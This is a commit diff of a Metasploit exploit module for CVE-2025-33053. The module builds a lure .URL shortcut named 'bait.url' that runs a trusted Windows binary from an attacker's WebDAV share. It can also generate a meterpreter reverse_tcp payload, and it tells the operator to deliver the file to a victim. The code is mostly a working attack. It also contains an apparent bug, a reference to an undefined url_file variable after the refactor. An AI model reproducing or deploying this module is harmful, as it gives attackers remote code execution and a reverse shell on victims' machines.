Add some features and fix all errors for CVE-2025-33053 exploit module

Author: DevBuiHieu

modules/exploits/windows/fileformat/cve_2025_33053.rb

@@ -1,100 +1,105 @@
+# frozen_string_literal: true
+
+# Metasploit module to exploit CVE-2025-33053 via malicious .URL and WebDAV payload hosting.
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
   def initialize(info = {})
-    super(update_info(info,
-      'Name'           => 'CVE-2025-33053 Exploit via Malicious .URL File and WebDAV',
-      'Description'    => %q{
-        This module creates a malicious .URL file that abuses CVE-2025-33053,
-        optionally generates a payload, places it into
-        the WebDAV directory.
-      },
-      'Author'         => ['Dev Bui Hieu'],
-      'License'        => MSF_LICENSE,
-      'DisclosureDate' => '2025-06-11',
-      'References'     => [
-        ['CVE', '2025-33053'],
-        ['URL', 'https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept']
-      ],
-      'Platform'       => 'win',
-      'Arch'           => ARCH_X64,
-      'Targets'        => [
-        ['Windows (generic)', {}]
-      ],
-      'DefaultTarget'  => 0
-    ))
+    super(
+      update_info(
+        info,
+        'Name' => 'CVE-2025-33053 Exploit via Malicious .URL File and WebDAV',
+        'Description' => '
+          This module exploits CVE-2025-33053 by generating a malicious .URL file pointing
+          to a trusted LOLBAS binary with parameters designed to trigger unintended behavior.
+          Optionally, a payload is generated and hosted on a specified WebDAV directory.
+          When the victim opens the shortcut, it will attempt to access the WebDAV path,
+          potentially resulting in remote code execution via a trusted binary.
+        ',
+        'Author' => ['Dev Bui Hieu'],
+        'License' => MSF_LICENSE,
+        'DisclosureDate' => '2025-06-11',
+        'References' => [
+          ['CVE', '2025-33053'],
+          ['URL', 'https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept']
+        ],
+        'Platform' => 'win',
+        'Arch' => ARCH_X64,
+        'Targets' => [['Windows (generic)', {}]],
+        'DefaultTarget' => 0
+      )
+    )
 
     register_options(
       [
+        OptString.new('OUTFILE', [true, 'Output URL file name', 'bait.url']),
         OptString.new('PAYLOAD', [true, 'Payload to generate', 'windows/x64/meterpreter/reverse_tcp']),
         OptBool.new('GEN_PAYLOAD', [true, 'Generate payload and move to WebDAV directory', true]),
-        OptString.new('WEBDAV_DIR', [true, 'WebDAV directory path', '/var/www/webdav']),
-        OptString.new('OUTFILE', [true, 'Output URL file name', 'bait.url']),
-        OptString.new('LOLBAS_EXE', [true, 'Path to trusted binary (LOLBAS)', 'C:\\Program Files\\Internet Explorer\\iediagcmd.exe']),
-        OptString.new('ICON_PATH', [true, 'Icon file path', 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe']),
+        OptString.new('WEBDAV_DIR', [true, 'WebDAV directory path', '/var/www/webdav'])
+      ]
+    )
+    register_advanced_options(
+      [
+        OptString.new('LOLBAS_EXE',
+                      [true, 'Path to trusted binary (LOLBAS)', 'C:\\Program Files\\Internet Explorer\\iediagcmd.exe']),
+        OptString.new('ICON_PATH',
+                      [true, 'Icon file path', 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe']),
         OptInt.new('ICON_INDEX', [true, 'Icon index in icon file', 13]),
         OptString.new('MODIFIED_HEX', [true, 'Modified timestamp in hex', '20F06BA06D07BD014D'])
       ]
     )
   end
 
   def exploit
-    lhost = datastore['LHOST']
-    lport = datastore['LPORT']
-    payload_type = datastore['PAYLOAD']
-    webdav_dir = datastore['WEBDAV_DIR']
-    gen_payload = datastore['GEN_PAYLOAD']
+    prepare_webdav_dir
+    generate_payload_if_needed
+    write_url_file
+    print_status("Module complete. Deliver #{datastore['OUTFILE']} to victim.")
+  end
+
+  def prepare_webdav_dir
+    print_status('Creating WebDAV directory if not exists...')
+    FileUtils.mkdir_p(datastore['WEBDAV_DIR']) unless File.directory?(datastore['WEBDAV_DIR'])
+  rescue Errno::EACCES
+    fail_with(
+      Failure::NoAccess,
+      "Cannot create WebDAV directory. Permission denied.\n" \
+      "Try restarting Metasploit with sudo or change ownership of #{datastore['WEBDAV_DIR']}."
+    )
+  end
 
-    print_status("Creating WebDAV directory if not exists...")
-    begin
-      FileUtils.mkdir_p(webdav_dir) unless File.directory?(webdav_dir)
-    rescue Errno::EACCES
-      fail_with(Failure::NoAccess, "Cannot create WebDAV directory. 🚫 Permission denied.\n💡 Try restarting Metasploit with sudo or change ownership of #{webdav_dir}.")
-    end
-    
-    if gen_payload
-      exe_path = File.join(webdav_dir, 'payload.exe')
-      print_good("Generating payload at: #{exe_path}")
-      generate_payload_exe(payload_type, lhost, lport, exe_path)
-    end
+  def generate_payload_if_needed
+    return unless datastore['GEN_PAYLOAD']
 
-    unc_path = "\\#{lhost}\\#{File.basename(webdav_dir)}\\"
-    url_content = <<~EOF
+    exe_path = File.join(datastore['WEBDAV_DIR'], 'payload.exe')
+    print_good("Generating payload at: #{exe_path}")
+    generate_payload_exe(datastore['PAYLOAD'], datastore['LHOST'], datastore['LPORT'], exe_path)
+  end
+
+  def write_url_file
+    unc_path = "\\\\#{datastore['LHOST']}\\#{File.basename(datastore['WEBDAV_DIR'])}\\"
+    content = <<~URLFILE
       [InternetShortcut]
       URL=#{datastore['LOLBAS_EXE']}
       WorkingDirectory=#{unc_path}
       ShowCommand=7
       IconIndex=#{datastore['ICON_INDEX']}
       IconFile=#{datastore['ICON_PATH']}
       Modified=#{datastore['MODIFIED_HEX']}
-    EOF
-
-    url_file = File.expand_path(datastore['OUTFILE'])
-    File.write(url_file, url_content)
+    URLFILE
+    File.write(datastore['OUTFILE'], content)
     print_good(".URL file written to: #{url_file}")
-
-    print_status("Module complete. Deliver #{url_file} to victim.")
   end
 
   def generate_payload_exe(payload_name, lhost, lport, output_path)
-
     payload = framework.payloads.create(payload_name.to_s.strip)
-
     payload.datastore['LHOST'] = lhost
     payload.datastore['LPORT'] = lport
-
     raw = payload.generate
-
     exe = Msf::Util::EXE.to_win32pe(framework, raw)
-
-    begin
-      File.open(output_path, 'wb') { |f| f.write(exe) }
-      print_good("Payload successfully written to #{output_path}")
-    rescue Errno::EACCES
-      fail_with(Failure::NoAccess, "Cannot write to #{output_path}. 🚫 Permission denied.\n💡 Try restarting Metasploit with sudo or change directory permissions.")
-    end
-  rescue => e
+    File.open(output_path, 'wb') { |f| f.write(exe) }
+    print_good("Payload successfully written to #{output_path}")
+  rescue StandardError => e
     print_error("Failed to generate payload: #{e.class} #{e.message}")
   end
-
 end